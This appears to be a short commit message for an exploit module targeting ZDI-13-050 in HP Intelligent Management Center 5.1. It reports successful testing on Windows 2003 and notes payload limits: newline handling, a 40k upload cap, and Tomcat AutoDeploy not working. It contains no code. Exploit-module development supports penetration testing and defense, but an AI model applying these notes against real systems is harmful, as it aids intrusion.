Added module for ZDI-13-050

Tested successfully on HP Intelligent Management Center 5.1 E0202 over windows 2003 sp2. 

Native and java platforms payloads aren't used because of the handling of new lines on the vuln application.  Also there is a max upload length of 40k by default. 

On the other side the AutoDeploy on the tomcat webapp server doesn't work.
